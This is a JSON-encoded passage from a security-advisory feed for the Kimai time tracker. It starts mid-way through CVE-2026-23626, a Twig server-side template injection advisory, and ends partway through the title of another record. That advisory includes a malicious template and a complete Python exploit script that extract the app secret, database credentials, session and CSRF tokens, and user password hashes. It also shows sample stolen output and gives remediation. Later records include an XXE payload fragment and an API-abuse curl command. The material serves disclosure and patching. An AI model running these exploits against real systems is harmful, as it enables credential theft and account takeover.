SecurityPolicyInterface\n{\n    public function checkSecurity($tags, $filters, $functions): void\n    {\n        // EMPTY - No restrictions on Twig tags/filters/functions\n    }\n\n    public function checkMethodAllowed($obj, $method): void\n    {\n        // EMPTY - Allows ANY method call on ANY object\n    }\n\n    public function checkPropertyAllowed($obj, $property): void\n    {\n        // EMPTY - Allows ANY property access on ANY object\n    }\n}\n```\n\nThis allows templates to call methods like:\n- `app.request.server.get(\"APP_SECRET\")` - Environment variable access\n- `app.session.get(\"_security_secured_area\")` - Session data access\n- `entry.user.password` - Password hash access\n\n---\n\n## Exploitation Steps\n\n### Step 1: Deploy Malicious Template\n\nSave the following as `/opt/kimai/var/export/ssti-extract.pdf.twig`:\n\n```bash\ndocker exec kimai-kimai-1 bash -c 'cat \u003e /opt/kimai/var/export/ssti-extract.pdf.twig \u003c\u003c \"TEMPLATE\"\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n    \u003cmeta charset=\"UTF-8\"\u003e\n    \u003ctitle\u003eSSTI Data Extraction\u003c/title\u003e\n    \u003cstyle\u003e\n        body { font-family: monospace; font-size: 10px; }\n        h1, h2 { color: #333; }\n        pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-word; }\n    \u003c/style\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\n\u003ch1\u003e===SSTI_EXTRACTION_START===\u003c/h1\u003e\n\n\u003ch2\u003e1. ENVIRONMENT VARIABLES\u003c/h2\u003e\n\u003cpre\u003e\nAPP_SECRET: {{ app.request.server.get(\"APP_SECRET\") }}\nDATABASE_URL: {{ app.request.server.get(\"DATABASE_URL\") }}\nAPP_ENV: {{ app.request.server.get(\"APP_ENV\") }}\nAPP_DEBUG: {{ app.request.server.get(\"APP_DEBUG\") }}\n\u003c/pre\u003e\n\n\u003ch2\u003e2. SESSION TOKEN (SERIALIZED)\u003c/h2\u003e\n\u003cpre\u003e\n{{ app.session.get(\"_security_secured_area\") }}\n\u003c/pre\u003e\n\n\u003ch2\u003e3. CURRENT USER DETAILS\u003c/h2\u003e\n\u003cpre\u003e\n{% set user = query.currentUser %}\nusername: {{ user.username }}\nemail: {{ user.email }}\npassword_hash: {{ user.password }}\nroles: {{ user.roles|join(\", \") }}\nid: {{ user.id }}\n\u003c/pre\u003e\n\n\u003ch2\u003e4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)\u003c/h2\u003e\n\u003cpre\u003e\n{% set seen = {} %}\n{% for entry in entries %}\n{% if entry.user is defined and entry.user.username not in seen %}\n{% set seen = seen|merge({(entry.user.username): true}) %}\n{{ entry.user.username }}:{{ entry.user.password }}\n{% endif %}\n{% endfor %}\n\u003c/pre\u003e\n\n\u003ch2\u003e5. CSRF TOKENS\u003c/h2\u003e\n\u003cpre\u003e\n_csrf/search: {{ app.session.get(\"_csrf/search\") }}\n_csrf/datatable_update: {{ app.session.get(\"_csrf/datatable_update\") }}\n_csrf/entities_multiupdate: {{ app.session.get(\"_csrf/entities_multiupdate\") }}\n\u003c/pre\u003e\n\n\u003ch2\u003e6. USER PREFERENCES\u003c/h2\u003e\n\u003cpre\u003e\n{% set user = query.currentUser %}\n{% for pref in user.preferences %}\n{{ pref.name }}: {{ pref.value }}\n{% endfor %}\n\u003c/pre\u003e\n\n\u003ch1\u003e===SSTI_EXTRACTION_END===\u003c/h1\u003e\n\n\u003c/body\u003e\n\u003c/html\u003e\nTEMPLATE'\n```\n\n### Step 2: Run the Exploit\n\n```bash\npython3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\n```\n\n### Step 3: Extract Text from PDF\n\n```bash\npdftotext kimai_extracted_data.pdf -\n```\n\n---\n\n## Detailed Exploit Usage\n\n### Requirements\n\n```bash\n# Install Python dependencies\npip install requests\n\n# Install PDF text extraction tool\nsudo apt install poppler-utils\n```\n\n### Command Syntax\n\n```\npython3 ssti_exploit.py \u003ctarget_url\u003e \u003cusername\u003e \u003cpassword\u003e [template_name]\n\nArguments:\n  target_url    - Kimai instance URL (e.g., http://localhost:8001)\n  username      - Valid admin username with export permissions\n  password      - User password\n  template_name - Optional: custom template (default: ssti-extract.pdf.twig)\n```\n\n### Example Usage\n\n```bash\n# Basic usage\npython3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\n\n# With custom template\npython3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! custom-template.pdf.twig\n```\n\n### Expected Output\n\n```\n╔═══════════════════════════════════════════════════════════════╗\n║     Kimai 2.45.0 - SSTI Information Disclosure Exploit        ║\n║                                                               ║\n║  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          ║\n╚═══════════════════════════════════════════════════════════════╝\n\n[*] Connecting to http://localhost:8001\n[*] Authenticating as admin\n[+] Successfully authenticated as admin\n[*] Triggering SSTI with template: ssti-extract.pdf.twig\n[+] PDF generated successfully: 35356 bytes\n[+] PDF saved to: kimai_extracted_data.pdf\n\n============================================================\nRAW EXTRACTED DATA:\n============================================================\n===SSTI_EXTRACTION_START===\n\n1. ENVIRONMENT VARIABLES\nAPP_SECRET: change_this_to_something_unique\nDATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4\u0026serverVersion=8.0\nAPP_ENV: prod\n\n2. SESSION TOKEN (SERIALIZED)\nO:74:\"Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken\":3:{...}\n\n3. CURRENT USER DETAILS\nusername: admin\nemail: admin@example.com\npassword_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nroles: ROLE_SUPER_ADMIN, ROLE_USER\n\n4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)\nadmin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nlowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a\n\n5. CSRF TOKENS\n_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4\n_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58\n\n===SSTI_EXTRACTION_END===\n\n============================================================\nCRITICAL FINDINGS SUMMARY:\n============================================================\n[!] APP_SECRET: change_this_to_something_unique\n[!] DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4\u0026serverVersion=8.0\n[!] Password Hashes Found: 2 unique\n    admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye...\n    lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a...\n[!] Session Token: Present (serialized PHP object)\n[!] CSRF Tokens: 2 found\n\n[+] Exploitation successful!\n[+] Full output saved to: kimai_extracted_data.pdf\n```\n\n### Output Files\n\n| File | Description |\n|------|-------------|\n| `kimai_extracted_data.pdf` | PDF containing all extracted sensitive data |\n\n### Manual PDF Text Extraction\n\n```bash\n# Extract text from PDF\npdftotext kimai_extracted_data.pdf -\n\n# Save to file\npdftotext kimai_extracted_data.pdf extracted_secrets.txt\n\n# Search for specific secrets\npdftotext kimai_extracted_data.pdf - | grep -E \"(APP_SECRET|DATABASE_URL|\\\\\\$2y\\\\\\$)\"\n```\n\n### Error Handling\n\n| Error Message | Cause | Solution |\n|---------------|-------|----------|\n| `Cannot connect to \u003curl\u003e` | Target unreachable | Check URL and network |\n| `Authentication failed` | Wrong credentials | Verify username/password |\n| `Template not found` | Template not deployed | Deploy template first (Step 1) |\n| `Access denied` | Insufficient permissions | Use admin account with export perms |\n| `pdftotext not installed` | Missing tool | Run `apt install poppler-utils` |\n\n---\n\n\n\n## Complete Exploit Script (ssti_exploit.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nKimai 2.45.0 - SSTI Information Disclosure Exploit\nExtracts: APP_SECRET, DATABASE_URL, Password Hashes, Session Tokens\n\nPrerequisites:\n1. Valid admin credentials\n2. Malicious template deployed at /opt/kimai/var/export/ssti-extract.pdf.twig\n\nUsage: python3 ssti_exploit.py \u003ctarget_url\u003e \u003cusername\u003e \u003cpassword\u003e\nExample: python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\n\nAuthor: Security Research\nDate: 2026-01-05\n\"\"\"\n\nimport requests\nimport re\nimport subprocess\nimport sys\nimport os\n\nclass KimaiSSTIExploit:\n    def __init__(self, target, username, password):\n        self.target = target.rstrip('/')\n        self.session = requests.Session()\n        self.username = username\n        self.password = password\n        \n    def login(self):\n        \"\"\"Authenticate to Kimai\"\"\"\n        print(f\"[*] Connecting to {self.target}\")\n        \n        try:\n            login_page = self.session.get(f\"{self.target}/en/login\", timeout=10)\n        except requests.exceptions.ConnectionError:\n            raise Exception(f\"Cannot connect to {self.target}\")\n        except requests.exceptions.Timeout:\n            raise Exception(f\"Connection timeout to {self.target}\")\n            \n        if login_page.status_code != 200:\n            raise Exception(f\"Cannot reach login page: HTTP {login_page.status_code}\")\n        \n        csrf_match = re.search(r'name=\"_csrf_token\"[^\u003e]*value=\"([^\"]+)\"', login_page.text)\n        if not csrf_match:\n            raise Exception(\"CSRF token not found on login page\")\n        \n        csrf = csrf_match.group(1)\n        print(f\"[*] Authenticating as {self.username}\")\n        \n        login_resp = self.session.post(\n            f\"{self.target}/en/login_check\",\n            data={\n                \"_username\": self.username,\n                \"_password\": self.password,\n                \"_csrf_token\": csrf\n            },\n            allow_redirects=True,\n            timeout=10\n        )\n        \n        # Check for successful login\n        if \"logout\" not in login_resp.text.lower() and \"sign out\" not in login_resp.text.lower():\n            if \"invalid\" in login_resp.text.lower() or \"incorrect\" in login_resp.text.lower():\n                raise Exception(\"Invalid username or password\")\n            raise Exception(\"Authentication failed - check credentials\")\n        \n        print(f\"[+] Successfully authenticated as {self.username}\")\n        return True\n    \n    def trigger_ssti(self, template_name=\"ssti-extract.pdf.twig\"):\n        \"\"\"Trigger SSTI via export functionality\"\"\"\n        print(f\"[*] Triggering SSTI with template: {template_name}\")\n        \n        try:\n            export_resp = self.session.post(\n                f\"{self.target}/en/export/data\",\n                data={\n                    \"renderer\": template_name,\n                    \"state\": \"3\",       # All states\n                    \"billable\": \"0\",    # All billable states\n                    \"exported\": \"5\",    # All export states\n                    \"markAsExported\": \"0\",\n                },\n                timeout=60\n            )\n        except requests.exceptions.Timeout:\n            raise Exception(\"Export request timed out\")\n        \n        if export_resp.status_code == 404:\n            raise Exception(f\"Template '{template_name}' not found - deploy template first\")\n        \n        if export_resp.status_code == 403:\n            raise Exception(\"Access denied - user lacks export permissions\")\n            \n        if export_resp.status_code != 200:\n            raise Exception(f\"Export failed: HTTP {export_resp.status_code}\")\n        \n        if b'%PDF' not in export_resp.content[:10]:\n            if b'error' in export_resp.content.lower() or b'exception' in export_resp.content.lower():\n                raise Exception(\"Template rendering error - check template syntax\")\n            raise Exception(\"Invalid response - expected PDF output\")\n        \n        print(f\"[+] PDF generated successfully: {len(export_resp.content)} bytes\")\n        return export_resp.content\n    \n    def extract_text(self, pdf_content, output_path=\"/tmp/kimai_ssti_output.pdf\"):\n        \"\"\"Extract text from PDF using pdftotext\"\"\"\n        with open(output_path, \"wb\") as f:\n            f.write(pdf_content)\n        \n        try:\n            result = subprocess.run(\n                [\"pdftotext\", output_path, \"-\"],\n                capture_output=True,\n                text=True,\n                timeout=30\n            )\n            if result.returncode != 0:\n                print(f\"[-] pdftotext error: {result.stderr}\")\n                return None\n            return result.stdout\n        except FileNotFoundError:\n            print(\"[-] pdftotext not installed\")\n            print(\"    Install with: apt install poppler-utils\")\n            return None\n        except subprocess.TimeoutExpired:\n            print(\"[-] pdftotext timed out\")\n            return None\n\n    def parse_findings(self, text):\n        \"\"\"Parse and categorize extracted data\"\"\"\n        findings = {\n            \"app_secret\": None,\n            \"database_url\": None,\n            \"password_hashes\": [],\n            \"session_token\": None,\n            \"csrf_tokens\": []\n        }\n        \n        lines = text.split('\\n')\n        for i, line in enumerate(lines):\n            line = line.strip()\n            \n            if \"APP_SECRET:\" in line:\n                findings[\"app_secret\"] = line.split(\"APP_SECRET:\")[-1].strip()\n            \n            if \"DATABASE_URL:\" in line or \"mysql://\" in line:\n                if \"mysql://\" in line:\n                    findings[\"database_url\"] = line.strip()\n                elif i + 1 \u003c len(lines):\n                    findings[\"database_url\"] = lines[i + 1].strip()\n            \n            if \"$2y$\" in line:\n                findings[\"password_hashes\"].append(line)\n            \n            if \"UsernamePasswordToken\" in line:\n                findings[\"session_token\"] = \"Present (serialized PHP object)\"\n            \n            if \"_csrf\" in line.lower() or len(line) == 43:\n                if \":\" in line:\n                    findings[\"csrf_tokens\"].append(line)\n        \n        return findings\n\n\ndef print_banner():\n    print(\"\"\"\n╔═══════════════════════════════════════════════════════════════╗\n║     Kimai 2.45.0 - SSTI Information Disclosure Exploit        ║\n║                                                               ║\n║  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          ║\n╚═══════════════════════════════════════════════════════════════╝\n\"\"\")\n\n\ndef main():\n    print_banner()\n    \n    if len(sys.argv) \u003c 4:\n        print(\"Usage: python3 ssti_exploit.py \u003ctarget_url\u003e \u003cusername\u003e \u003cpassword\u003e [template_name]\")\n        print()\n        print(\"Arguments:\")\n        print(\"  target_url    - Kimai instance URL (e.g., http://localhost:8001)\")\n        print(\"  username      - Valid admin username\")\n        print(\"  password      - User password\")\n        print(\"  template_name - Optional: custom template name (default: ssti-extract.pdf.twig)\")\n        print()\n        print(\"Example:\")\n        print(\"  python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\")\n        print()\n        print(\"Prerequisites:\")\n        print(\"  1. Deploy malicious template to /opt/kimai/var/export/ssti-extract.pdf.twig\")\n        print(\"  2. User must have export permissions (ROLE_ADMIN or higher)\")\n        sys.exit(1)\n    \n    target = sys.argv[1]\n    username = sys.argv[2]\n    password = sys.argv[3]\n    template = sys.argv[4] if len(sys.argv) \u003e 4 else \"ssti-extract.pdf.twig\"\n    \n    exploit = KimaiSSTIExploit(target, username, password)\n    \n    try:\n        # Step 1: Authenticate\n        exploit.login()\n        \n        # Step 2: Trigger SSTI\n        pdf_content = exploit.trigger_ssti(template)\n        \n        # Step 3: Save PDF\n        output_file = \"kimai_extracted_data.pdf\"\n        with open(output_file, \"wb\") as f:\n            f.write(pdf_content)\n        print(f\"[+] PDF saved to: {output_file}\")\n        \n        # Step 4: Extract and display text\n        text = exploit.extract_text(pdf_content)\n        if text:\n            print()\n            print(\"=\"*60)\n            print(\"RAW EXTRACTED DATA:\")\n            print(\"=\"*60)\n            print(text[:2000])\n            if len(text) \u003e 2000:\n                print(f\"\\n... [{len(text) - 2000} more characters]\")\n            \n            # Parse findings\n            findings = exploit.parse_findings(text)\n            \n            print()\n            print(\"=\"*60)\n            print(\"CRITICAL FINDINGS SUMMARY:\")\n            print(\"=\"*60)\n            \n            if findings[\"app_secret\"]:\n                print(f\"[!] APP_SECRET: {findings['app_secret']}\")\n            \n            if findings[\"database_url\"]:\n                print(f\"[!] DATABASE_URL: {findings['database_url']}\")\n            \n            if findings[\"password_hashes\"]:\n                unique_hashes = list(set(findings[\"password_hashes\"]))\n                print(f\"[!] Password Hashes Found: {len(unique_hashes)} unique\")\n                for h in unique_hashes[:5]:\n                    print(f\"    {h[:80]}...\")\n                if len(unique_hashes) \u003e 5:\n                    print(f\"    ... and {len(unique_hashes) - 5} more\")\n            \n            if findings[\"session_token\"]:\n                print(f\"[!] Session Token: {findings['session_token']}\")\n            \n            if findings[\"csrf_tokens\"]:\n                print(f\"[!] CSRF Tokens: {len(findings['csrf_tokens'])} found\")\n        \n        print()\n        print(\"[+] Exploitation successful!\")\n        print(f\"[+] Full output saved to: {output_file}\")\n        return 0\n        \n    except KeyboardInterrupt:\n        print(\"\\n[-] Interrupted by user\")\n        return 130\n    except Exception as e:\n        print(f\"[-] Exploitation failed: {e}\")\n        return 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n---\n\n## Impact Analysis\n\n| Extracted Data | Security Impact |\n|---------------|-----------------|\n| `APP_SECRET` | Can forge Symfony login links to access ANY user account |\n| `DATABASE_URL` | Direct database connection credentials exposed |\n| Password Hashes | Offline password cracking possible (bcrypt) |\n| Session Tokens | Session structure analysis, potential replay attacks |\n| CSRF Tokens | Bypass CSRF protection for subsequent attacks |\n\n### Attack Chain Example\n\n1. Exploit SSTI → Extract `APP_SECRET`\n2. Use `APP_SECRET` to forge login link for target user\n3. Access target user's account without knowing their password\n\n---\n\n## Remediation\n\n### Immediate Fix\n\nReplace `DefaultPolicy` with `InvoicePolicy` in `ExportPolicy`:\n\n```php\n// src/Twig/SecurityPolicy/ExportPolicy.php\n// Change:\n$this-\u003epolicy-\u003eaddPolicy(new DefaultPolicy());\n\n// To:\n$this-\u003epolicy-\u003eaddPolicy(new InvoicePolicy());\n```\n\n### Additional Hardening\n\n1. **Block environment access in templates:**\n   ```php\n   public function checkMethodAllowed($obj, $method): void\n   {\n       if ($obj instanceof Request \u0026\u0026 $method === 'getServer') {\n           throw new SecurityError('Server access not allowed');\n       }\n   }\n   ```\n\n2. **Block session access in templates:**\n   ```php\n   if ($obj instanceof Session) {\n       throw new SecurityError('Session access not allowed');\n   }\n   ```\n\n3. **Restrict User object property access:**\n   ```php\n   if ($obj instanceof User \u0026\u0026 $method === 'getPassword') {\n       throw new SecurityError('Password access not allowed');\n   }\n   ```\n\n\n---\n\nReported by: Mahammad Huseynkhanli","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-01-20T17:07:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N","references":["https://github.com/kimai/kimai/security/advisories/GHSA-jg2j-2w24-54cg","https://nvd.nist.gov/vuln/detail/CVE-2026-23626","https://github.com/kimai/kimai/pull/5757","https://github.com/kimai/kimai/commit/6a86afb5fd79f6c1825060b87c09bd1909c2e86f","https://github.com/kimai/kimai/releases/tag/2.46.0","https://twig.symfony.com/doc/3.x/api.html#sandbox-extension","https://github.com/advisories/GHSA-jg2j-2w24-54cg"],"source_kind":"github","identifiers":["GHSA-jg2j-2w24-54cg","CVE-2026-23626"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-20T17:30:44.395Z","updated_at":"2026-09-01T13:04:32.938Z","epss_percentage":0.00404,"epss_percentile":0.33511,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qZzJqLTJ3MjQtNTRjZ84ABRSD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qZzJqLTJ3MjQtNTRjZ84ABRSD","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.46.0","vulnerable_version_range":"\u003c 2.46.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qZzJqLTJ3MjQtNTRjZ84ABRSD/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jdjhoLXI3cjUtdndqOc4ABQBn","url":"https://github.com/advisories/GHSA-cv8h-r7r5-vwj9","title":"Kimai contains a SameSite cookie vulnerability","description":"Kimai 1.30.10 contains a SameSite cookie vulnerability that allows attackers to steal user session cookies through malicious exploitation. Attackers can trick victims into executing a crafted PHP script that captures and writes session cookie information to a file, enabling potential session hijacking.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-12-19T21:30:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-53957","https://www.exploit-db.com/exploits/51278","https://www.vulncheck.com/advisories/kimai-samesite-cookie-vulnerability-session-hijacking","https://github.com/advisories/GHSA-cv8h-r7r5-vwj9"],"source_kind":"github","identifiers":["GHSA-cv8h-r7r5-vwj9","CVE-2023-53957"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-20T19:00:07.949Z","updated_at":"2026-08-17T16:06:22.262Z","epss_percentage":0.00579,"epss_percentile":0.44904,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdjhoLXI3cjUtdndqOc4ABQBn","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jdjhoLXI3cjUtdndqOc4ABQBn","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.30.10"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdjhoLXI3cjUtdndqOc4ABQBn/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01MzRjLWhjcjctNjdqZ84AA_m3","url":"https://github.com/advisories/GHSA-534c-hcr7-67jg","title":"Kimai has an XXE Leading to Local File Read","description":"### Summary\nKimai uses [PHPSpreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) for importing and exporting invoices. Recently, a [CVE](https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7) was identified in PHPSpreadsheet, which could lead to an XXE vulnerability.\n\n\n### Details\n\nExploitation requires an Administrator account, allowing the upload of an `XLSX` template containing the payload. The vulnerability is triggered by the following code snippet:\n\n```php\n// https://github.com/kimai/kimai/blob/b1903ba18359be16dd32ea9c40377c486498f082/src/Invoice/Renderer/AbstractSpreadsheetRenderer.php#L41\npublic function render(InvoiceDocument $document, InvoiceModel $model): Response\n{\n    $spreadsheet = IOFactory::load($document-\u003egetFilename());\n    $worksheet = $spreadsheet-\u003egetActiveSheet();\n    $entries = $model-\u003egetCalculator()-\u003egetEntries();\n    $sheetReplacer = $model-\u003etoArray();\n    $invoiceItemCount = \\count($entries);\n    if ($invoiceItemCount \u003e 1) {\n        $this-\u003eaddTemplateRows($worksheet, $invoiceItemCount);\n    }\n}\n```\n\nThe `IOFactory::load` function utilizes `simplexml_load_string`, which has previously been demonstrated to be vulnerable to XXE attacks.\n\nWhile this is not directly an XXE in Kimai, it does however impact the latest stable version.\n\n \n### PoC\n\nBy uploading a malicious `XLSX` template, the payload will be triggered every time an invoice is generated.\n\n```xml\n\u003c?xml version=\"1.0\" encoding='UTF-7' standalone=\"yes\"?\u003e\n+ADw-!DOCTYPE foo [ \u003c!ENTITY % xxe SYSTEM \"php://filter/.......\" \u003e %xxe;]\u003e.....\n```\n\nFor a better a visibility, I will upload both a:\n- Malicious template sample for testing \n- An exported invoice, showing the contents of target file during the export. \n\n### Impact\nLocal File Read / RCE in edge cases where `phar://` can be utilized with [gadget chains](https://github.com/ambionics/phpggc) . \n\n\n[export.xlsx](https://github.com/user-attachments/files/16803913/export.xlsx)\n[sample_template.xlsx](https://github.com/user-attachments/files/16803916/sample_template.xlsx)\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-09-17T18:36:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7","https://github.com/kimai/kimai/security/advisories/GHSA-534c-hcr7-67jg","https://github.com/kimai/kimai/commit/3204dcb03e1003dba90178667a4667ce3edb87b5","https://github.com/advisories/GHSA-534c-hcr7-67jg"],"source_kind":"github","identifiers":["GHSA-534c-hcr7-67jg"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":10.23501985257536,"created_at":"2024-09-17T19:06:07.038Z","updated_at":"2026-08-14T00:10:57.785Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01MzRjLWhjcjctNjdqZ84AA_m3","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01MzRjLWhjcjctNjdqZ84AA_m3","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.21.0","vulnerable_version_range":"\u003c= 2.20.1"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01MzRjLWhjcjctNjdqZ84AA_m3/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02ZjN2LTJyMmotMnJwcs4AA70x","url":"https://github.com/advisories/GHSA-6f3v-2r2j-2rpr","title":"Kimai information disclosure vulnerability","description":"A vulnerability was found in Kimai up to 2.15.0 and classified as problematic. Affected by this issue is some unknown functionality of the component Session Handler. The manipulation of the argument PHPSESSIONID leads to information disclosure. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. Upgrading to version 2.16.0 is able to address this issue. It is recommended to upgrade the affected component. VDB-263318 is the identifier assigned to this vulnerability.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2024-05-07T18:30:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-4596","https://github.com/kimai/kimai/releases/tag/2.16.0","https://vuldb.com/?ctiid.263318","https://vuldb.com/?id.263318","https://vuldb.com/?submit.328639","https://github.com/advisories/GHSA-6f3v-2r2j-2rpr"],"source_kind":"github","identifiers":["GHSA-6f3v-2r2j-2rpr","CVE-2024-4596"],"repository_url":"https://github.com/kimai/kimai","blast_radius":0.0,"created_at":"2024-05-07T20:05:12.107Z","updated_at":"2026-09-01T13:08:41.206Z","epss_percentage":0.0079,"epss_percentile":0.53733,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02ZjN2LTJyMmotMnJwcs4AA70x","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02ZjN2LTJyMmotMnJwcs4AA70x","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.16.0","vulnerable_version_range":"\u003c 2.16.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02ZjN2LTJyMmotMnJwcs4AA70x/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jajNjLTV4cG0tY3g5NM4AA6dz","url":"https://github.com/advisories/GHSA-cj3c-5xpm-cx94","title":"Kimai API returns timesheet entries a user should not be authorized to view","description":"### Summary\nThe permission `view_other_timesheet` performs differently for the Kimai UI and the API, thus returning unexpected data through the API.\n\n### Details\nWhen setting the `view_other_timesheet` permission to true, on the frontend, users can only see timesheet entries for teams they are a part of. When requesting all timesheets from the API, however, all timesheet entries are returned, regardless of whether the user shares team permissions or not.\n\nExample:\nThere are projects P1 and P2, Teams T1 and T2, users U1 and U2 and Timesheet entries E1 and E2. U1 is team leader of team T1 and has access to P1. U2 is in Team T2 and has access to both P1 and P2. U2 creates E1 for P1 and E2 for P2.\nIn the UI, U1 with `view _other_timesheet` perms sees E1 as he is a part of T1 that has access to P1.\nIn the API, however, he has access to E1 **and E2**.\n\nAdditionally, if U1 is not a team leader T1, he does not see any timesheet from a user other than himself in the UI, but still all timesheets in the API.\n\n### PoC\n- Give a user `view_other_timesheet` permission\n- The result of the UI and the API call to `/api/timesheets?user=all` differs in the data that is being returned\n\nCurl command:\n```bash\ncurl -X 'GET' \\\n  'https://kimai.instance.com/api/timesheets?user=all' \\\n  -H 'accept: application/json' \\\n  -H 'X-AUTH-USER: username' \\\n  -H 'X-AUTH-TOKEN: api_token'\n ```\n\n### Impact\nThis is at least an insufficient granularity of access control weakness. People can see timesheet entries they are not supposed to.\nThis greatly affects the confidentiality of timesheet entries. \n\nRestricting API access to administrators is also not a valid solution, as API access is needed, for example, to use the mobile app.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-03-29T19:05:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N","references":["https://github.com/kimai/kimai/security/advisories/GHSA-cj3c-5xpm-cx94","https://nvd.nist.gov/vuln/detail/CVE-2024-29200","https://github.com/kimai/kimai/releases/tag/2.13.0","https://github.com/advisories/GHSA-cj3c-5xpm-cx94"],"source_kind":"github","identifiers":["GHSA-cj3c-5xpm-cx94","CVE-2024-29200"],"repository_url":"https://github.com/kimai/kimai","blast_radius":0.0,"created_at":"2024-03-29T20:04:44.279Z","updated_at":"2026-08-14T00:13:08.979Z","epss_percentage":0.00644,"epss_percentile":0.47555,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jajNjLTV4cG0tY3g5NM4AA6dz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jajNjLTV4cG0tY3g5NM4AA6dz","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.13.0","vulnerable_version_range":"\u003c 2.13.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jajNjLTV4cG0tY3g5NM4AA6dz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mamhnLTk2Y3AtNmZjd84AA2xl","url":"https://github.com/advisories/GHSA-fjhg-96cp-6fcw","title":"Kimai (Authenticated) SSTI to RCE by Uploading a 